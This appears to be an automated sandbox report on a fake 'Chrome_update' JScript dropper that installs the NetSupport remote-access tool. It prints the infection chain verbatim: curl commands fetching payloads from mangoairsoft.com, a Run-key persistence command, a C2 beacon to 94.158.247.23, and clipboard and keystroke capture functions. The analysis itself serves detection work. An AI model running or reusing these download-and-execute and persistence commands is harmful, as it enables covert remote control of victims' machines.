Source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1101297202.00000000027CD000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.17.dr, remcmdstub.exe.17.dr, TCCTL32.DLL.17.dr, PCICHEK.DLL.17.dr, PCICL32.DLL.17.dr, pcicapi.dll.17.dr	String found in binary or memory: http://www.symauth.com/cps0(
Source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1101297202.00000000027CD000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.17.dr, remcmdstub.exe.17.dr, TCCTL32.DLL.17.dr, PCICHEK.DLL.17.dr, PCICL32.DLL.17.dr, pcicapi.dll.17.dr	String found in binary or memory: http://www.symauth.com/rpa00
Source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1101297202.00000000027CD000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.17.dr, remcmdstub.exe.17.dr, TCCTL32.DLL.17.dr, PCICHEK.DLL.17.dr, PCICL32.DLL.17.dr, client32.exe.17.dr, pcicapi.dll.17.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1101297202.00000000027CD000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.17.dr, remcmdstub.exe.17.dr, TCCTL32.DLL.17.dr, PCICHEK.DLL.17.dr, PCICL32.DLL.17.dr, client32.exe.17.dr, pcicapi.dll.17.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: wscript.exe, 00000000.00000002.1237996996.000002C2DECC6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1229893390.000002C2DECC6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1212962526.000002C2DECC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: CacheURL.dat.17.dr	String found in binary or memory: https://magydostravel.com/cdn/zwmrqqgqnaww.php
Source: wscript.exe, 00000000.00000002.1238722022.000002C2E0AB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336e
Source: wscript.exe, wscript.exe, 00000000.00000002.1238722022.000002C2E0AB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf250
Source: wscript.exe, 00000000.00000003.1229893390.000002C2DEC95000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1238985003.000002C2E18F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/11.bat?5
Source: curl.exe, 0000000A.00000002.1085756382.0000020B5D3F0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000A.00000002.1085932464.0000020B5D429000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000A.00000002.1085756382.0000020B5D3F8000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000A.00000003.1084401288.0000020B5D428000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000A.00000003.1084797520.0000020B5D429000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000A.00000003.1085034209.0000020B5D404000.00000004.00000020.00020000.00000000.sdmp, 11[1].bat.0.dr, hTeaPOrNCzaBsfwyZvQlxGetVKrbucD.bat.0.dr	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat
Source: curl.exe, 0000000A.00000002.1085756382.0000020B5D3F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat-o
Source: curl.exe, 00000008.00000002.1075306154.00000163AEBD0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1074808195.00000163AEBE2000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1074735048.00000163AEC08000.00000004.00000020.00020000.00000000.sdmp, 7z.bat.3.dr, 11[1].bat.0.dr, hTeaPOrNCzaBsfwyZvQlxGetVKrbucD.bat.0.dr	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe
Source: curl.exe, 00000008.00000002.1075306154.00000163AEBD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe-
Source: curl.exe, 00000006.00000002.1064024036.000001E29B6D0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000006.00000003.1063175510.000001E29B709000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000006.00000002.1064160026.000001E29B709000.00000004.00000020.00020000.00000000.sdmp, 11[1].bat.0.dr, sett.bat.3.dr, hTeaPOrNCzaBsfwyZvQlxGetVKrbucD.bat.0.dr	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z
Source: curl.exe, 00000006.00000002.1064024036.000001E29B6D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z-
Source: wscript.exe, 00000000.00000003.1215049433.000002C2E0EFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf258
Source: wscript.exe, 00000000.00000002.1238722022.000002C2E0AB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25WUySwcNIhq
Source: wscript.exe, 00000000.00000002.1237996996.000002C2DECC6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1229893390.000002C2DECC6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1212962526.000002C2DECC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/n
Source: wscript.exe, 00000000.00000002.1237996996.000002C2DECC6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1229893390.000002C2DECC6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1212962526.000002C2DECC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/v
Source: 7zz.exe, 00000011.00000003.1107399060.00000000022F7000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: 7zz.exe, 00000011.00000003.1107399060.00000000022F7000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/
Source: 7zz.exe, 00000011.00000003.1107399060.00000000022F7000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0

Source: unknown

HTTP traffic detected: POST http://94.158.247.23/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 94.158.247.23Connection: Keep-AliveCMD=POLLINFO=1ACK=1Data Raw: Data Ascii:

Source: unknown

DNS traffic detected: queries for: mangoairsoft.com

Source: global traffic	HTTP traffic detected: GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/11.bat?597673 HTTP/1.1Accept: /Accept-Language: en-CH,en-US;q=0.8,en-GB;q=0.5,en;q=0.2UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: mangoairsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z HTTP/1.1Host: mangoairsoft.comUser-Agent: curl/8.0.1Accept: /
Source: global traffic	HTTP traffic detected: GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe HTTP/1.1Host: mangoairsoft.comUser-Agent: curl/8.0.1Accept: /
Source: global traffic	HTTP traffic detected: GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat HTTP/1.1Host: mangoairsoft.comUser-Agent: curl/8.0.1Accept: /
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: unknown	HTTPS traffic detected: 188.127.230.147:443 -> 192.168.2.8:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.127.230.147:443 -> 192.168.2.8:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.127.230.147:443 -> 192.168.2.8:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.127.230.147:443 -> 192.168.2.8:49705 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to modify clipboard data

Source: C:\ProgramData\client32.exe	Code function: 20_2_110335A0 GetClipboardFormatNameA,SetClipboardData,		20_2_110335A0
Source: C:\ProgramData\client32.exe	Code function: 20_2_1101FC20 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,		20_2_1101FC20

Source: C:\ProgramData\client32.exe

Code function: 20_2_11033320 IsClipboardFormatAvailable,GetClipboardData,GetClipboardFormatNameA,GetLastError,GlobalUnlock,

20_2_11033320

Source: Yara match	File source: 20.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.7zz.exe.243a908.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.7zz.exe.2432790.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.7zz.exe.243f280.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.7zz.exe.243f280.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000002.1216193206.0000000011194000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3468144607.0000000011194000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1297294998.0000000011194000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7zz.exe PID: 6960, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 64, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 3672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 6072, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\PCICL32.DLL, type: DROPPED

Source: C:\ProgramData\client32.exe

Code function: 20_2_1101FC20 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,

20_2_1101FC20

Source: C:\ProgramData\client32.exe	Code function: 20_2_1102D9F4 Sleep,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,		20_2_1102D9F4
Source: C:\ProgramData\client32.exe	Code function: 20_2_1102DD21 CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,		20_2_1102DD21

Source: C:\ProgramData\7zz.exe	Code function: 17_2_00403A70	17_2_00403A70
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00417BAE	17_2_00417BAE
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0045E0C0	17_2_0045E0C0
Source: C:\ProgramData\7zz.exe	Code function: 17_2_004442E0	17_2_004442E0
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0046A2A0	17_2_0046A2A0
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0044A440	17_2_0044A440
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0046A460	17_2_0046A460
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0044E430	17_2_0044E430
Source: C:\ProgramData\7zz.exe	Code function: 17_2_004465E0	17_2_004465E0
Source: C:\ProgramData\7zz.exe	Code function: 17_2_004285AD	17_2_004285AD
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0044A7E0	17_2_0044A7E0
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00456830	17_2_00456830
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0046A950	17_2_0046A950
Source: C:\ProgramData\7zz.exe	Code function: 17_2_004469A0	17_2_004469A0
Source: C:\ProgramData\7zz.exe	Code function: 17_2_004729A3	17_2_004729A3
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0044CA40	17_2_0044CA40
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0045EA60	17_2_0045EA60
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00454B10	17_2_00454B10
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00458B30	17_2_00458B30
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00472B30	17_2_00472B30
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00450BD0	17_2_00450BD0
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00472C0B	17_2_00472C0B
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00456CF0	17_2_00456CF0
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00434D28	17_2_00434D28
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00460DF8	17_2_00460DF8
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00466E30	17_2_00466E30
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00451050	17_2_00451050
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00447150	17_2_00447150
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00459170	17_2_00459170
Source: C:\ProgramData\7zz.exe	Code function: 17_2_004311FE	17_2_004311FE
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00467220	17_2_00467220
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0046F314	17_2_0046F314
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00449460	17_2_00449460
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00467420	17_2_00467420
Source: C:\ProgramData\7zz.exe	Code function: 17_2_004514F0	17_2_004514F0
Source: C:\ProgramData\7zz.exe	Code function: 17_2_004075F5	17_2_004075F5
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00453740	17_2_00453740
Source: C:\ProgramData\7zz.exe	Code function: 17_2_004677D0	17_2_004677D0
Source: C:\ProgramData\7zz.exe	Code function: 17_2_004217DA	17_2_004217DA
Source: C:\ProgramData\client32.exe	Code function: 20_2_11073680	20_2_11073680
Source: C:\ProgramData\client32.exe	Code function: 20_2_11029BB0	20_2_11029BB0
Source: C:\ProgramData\client32.exe	Code function: 20_2_110627B0	20_2_110627B0
Source: C:\ProgramData\client32.exe	Code function: 20_2_110336D0	20_2_110336D0
Source: C:\ProgramData\client32.exe	Code function: 20_2_11051800	20_2_11051800
Source: C:\ProgramData\client32.exe	Code function: 20_2_1115F840	20_2_1115F840
Source: C:\ProgramData\client32.exe	Code function: 20_2_1102BD40	20_2_1102BD40
Source: C:\ProgramData\client32.exe	Code function: 20_2_1101BCD0	20_2_1101BCD0
Source: C:\ProgramData\client32.exe	Code function: 20_2_11087F50	20_2_11087F50

Source: C:\ProgramData\client32.exe	Code function: String function: 11027F40 appears 34 times
Source: C:\ProgramData\client32.exe	Code function: String function: 1105E820 appears 157 times
Source: C:\ProgramData\client32.exe	Code function: String function: 11147060 appears 314 times
Source: C:\ProgramData\client32.exe	Code function: String function: 11029A70 appears 440 times
Source: C:\ProgramData\7zz.exe	Code function: String function: 0046B890 appears 470 times
Source: C:\ProgramData\7zz.exe	Code function: String function: 00407A18 appears 98 times

Source: C:\ProgramData\client32.exe

Code function: 20_2_11113190: GetKeyState,DeviceIoControl,keybd_event,

20_2_11113190

Source: Chrome_update(1).js

Initial sample: Strings found which are bigger than 50

Source: C:\ProgramData\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\ProgramData\client32.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\ProgramData\client32.exe	Section loaded: pcihooks.dll	Jump to behavior
Source: C:\ProgramData\client32.exe	Section loaded: pciinv.dll	Jump to behavior
Source: C:\ProgramData\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\ProgramData\client32.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\ProgramData\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\ProgramData\client32.exe	Section loaded: nslsp.dll	Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Chrome_update(1).js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C://ProgramData//hTeaPOrNCzaBsfwyZvQlxGetVKrbucD.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\sett.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z" -o "C:\ProgramData\lolo.7z"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\7z.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\qweq.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat" -o "C:\ProgramData\qweq.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\qweq.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /h /y 7zz.exe C:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe TIMEOUT /T 7
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\7zz.exe C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\client32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\client32.exe C:\ProgramData\client32.exe
Source: unknown	Process created: C:\ProgramData\client32.exe "C:\ProgramData\client32.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Source: unknown	Process created: C:\ProgramData\client32.exe "C:\ProgramData\client32.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C://ProgramData//hTeaPOrNCzaBsfwyZvQlxGetVKrbucD.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\sett.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\7z.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\qweq.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\qweq.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z" -o "C:\ProgramData\lolo.7z"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat" -o "C:\ProgramData\qweq.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /h /y 7zz.exe C:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe TIMEOUT /T 7
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\client32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\7zz.exe C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\client32.exe C:\ProgramData\client32.exe	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Source: C:\ProgramData\client32.exe	Code function: 20_2_1109D860 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,		20_2_1109D860
Source: C:\ProgramData\client32.exe	Code function: 20_2_1109D8F0 AdjustTokenPrivileges,FindCloseChangeNotification,		20_2_1109D8F0

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AA1WTLEO\11[1].bat

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\b1.vbs

Source: classification engine

Classification label: mal96.troj.spyw.evad.winJS@40/36@2/4

Source: C:\ProgramData\client32.exe

Code function: 20_2_11116880 CoInitialize,CoCreateInstance,LoadLibraryA,GetProcAddress,SHGetSettings,FreeLibrary,CoUninitialize,

20_2_11116880

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6980:120:WilError_03

Source: C:\ProgramData\client32.exe

Code function: 20_2_11089430 FindResourceA,LoadResource,LockResource,

20_2_11089430

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C://ProgramData//hTeaPOrNCzaBsfwyZvQlxGetVKrbucD.bat

Source: C:\ProgramData\7zz.exe

File written: C:\ProgramData\NSM.ini

Source: C:\ProgramData\client32.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Source: C:\ProgramData\7zz.exe

File opened: C:\ProgramData\msvcr100.dll

JScript performs obfuscated calls to suspicious functions

Source:	Binary string: msvcr100.i386.pdb source: 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3478952203.00000000714E1000.00000020.00000001.01000000.0000000C.sdmp, client32.exe, 00000015.00000002.1218572408.00000000714E1000.00000020.00000001.01000000.0000000C.sdmp, client32.exe, 00000017.00000002.1298857900.00000000714E1000.00000020.00000001.01000000.0000000C.sdmp, msvcr100.dll.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3468144607.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000015.00000002.1216193206.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.1297294998.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3478609865.00000000714A0000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.17.dr
